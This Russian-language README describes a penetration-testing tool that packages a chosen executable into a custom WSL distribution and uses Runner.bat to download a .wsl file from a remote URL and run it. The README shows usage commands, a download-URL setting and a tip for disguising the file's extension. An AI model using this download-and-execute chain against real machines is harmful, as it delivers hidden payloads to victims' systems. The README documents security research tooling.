
Мощный shell-скрипт для создания пользовательских дистрибутивов WSL (Windows Subsystem for Linux) со встроенными полезными нагрузками.
Этот инструмент предназначен для легитимных исследований в области безопасности и тестирования на проникновение. Пользователи несут ответственность за получение надлежащего разрешения перед тестированием систем, которыми они не владеют или на тестирование которых у них нет явного разрешения.
Скрипт для создания минимальных дистрибутивов WSL (подсистема Windows для Linux) со встроенными полезными нагрузками. Этот инструмент автоматизирует процесс сборки дистрибутивов WSL на основе Alpine Linux, которые могут выполнять пользовательские полезные нагрузки при запуске.
Скрипт Build_WSL_Payload.sh загружает последнюю версию rootfs Alpine Linux, настраивает её для использования в WSL, встраивает указанное пользователем исполняемое файл и упаковывает всё в распространяемый файл .wsl.
Runner.bat загрузит конфигурационный файл WSL по указанному URL и запустит его (установит wsl, если он отсутствует и доступны права администратора)
Это особенно полезно для тестирования на проникновение, исследований в области безопасности и создания пользовательских сред WSL.
-N, --name: Укажите имя дистрибутива по умолчанию для WSL-P, --payload: Укажите путь к исполняемому файлу полезной нагрузки-H, --help: Показать меню справки# Build a WSL distribution named "CalcWSL" with a custom payload
./Build_WSL_Payload.sh -N CalcWSL -P ./Calc.exe
Вариант 1. Двойной щелчок — двойной щелчок по файлу WSL выполнит полезную нагрузку, но также откроет командную строку (cmd), которую необходимо закрыть вручную. (Не рекомендуется)
Вариант 2. Используйте файл Runner.bat
C:\Users\USER_NAME> .\Runner.bat
Скрипт Runner.bat автоматически:
Измените переменные в верхней части Runner.bat для настройки:
set "DOWNLOAD_URL=https://your-server.com/payload.wsl"
set "WSL_FILE=payload.log" # Still testing but can use most file extensions here.
Этот проект был вдохновлён и развивает исследования и методы, описанные в репозитории dmcxblue/WSL-Payloads, который содержит ценные сведения об использовании формата WSL в качестве вектора атаки и исследованиях в области безопасности.
Лицензия MIT
Настоящим предоставляется бесплатное разрешение любому лицу, получившему копию данного программного обеспечения и связанных файлов документации (далее — «Программное обеспечение»), для использования Программного обеспечения без ограничений, включая, но не ограничиваясь, правами использовать, копировать, изменять, объединять, публиковать, распространять, сублицензировать и/или продавать копии Программного обеспечения, а также разрешать лицам, которым предоставляется Программное обеспечение, делать это при следующих условиях:
Вышеуказанное уведомление об авторских правах и данное уведомление о разрешении должны быть включены во все копии или существенные части Программного обеспечения.
ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ», БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ГАРАНТИЯМИ ТОВАРНОЙ ПРИГОДНОСТИ, СООТВЕТСТВИЯ КОНКРЕТНЫМ ЦЕЛЯМ И НЕНАРУШЕНИЯ ПРАВ. НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ АВТОРЫ ИЛИ ПРАВООБЛАДАТЕЛИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ПО КАКИМ-ЛИБО ИСКАМ, УБЫТКАМ ИЛИ ИНОЙ ОТВЕТСТВЕННОСТИ, БУДЬ ТО В СИЛУ ДОГОВОРА, ДЕЛИКТА ИЛИ ИНЫМ ОБРАЗОМ, ВОЗНИКАЮЩИМ ИЗ ДАННОГО ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ ИЛИ В СВЯЗИ С НИМ, ИЛИ ИЗ ИСПОЛЬЗОВАНИЯ ИЛИ ИНЫХ ДЕЙСТВИЙ С ДАННЫМ ПРОГРАММНЫМ ОБЕСПЕЧЕНИЕМ.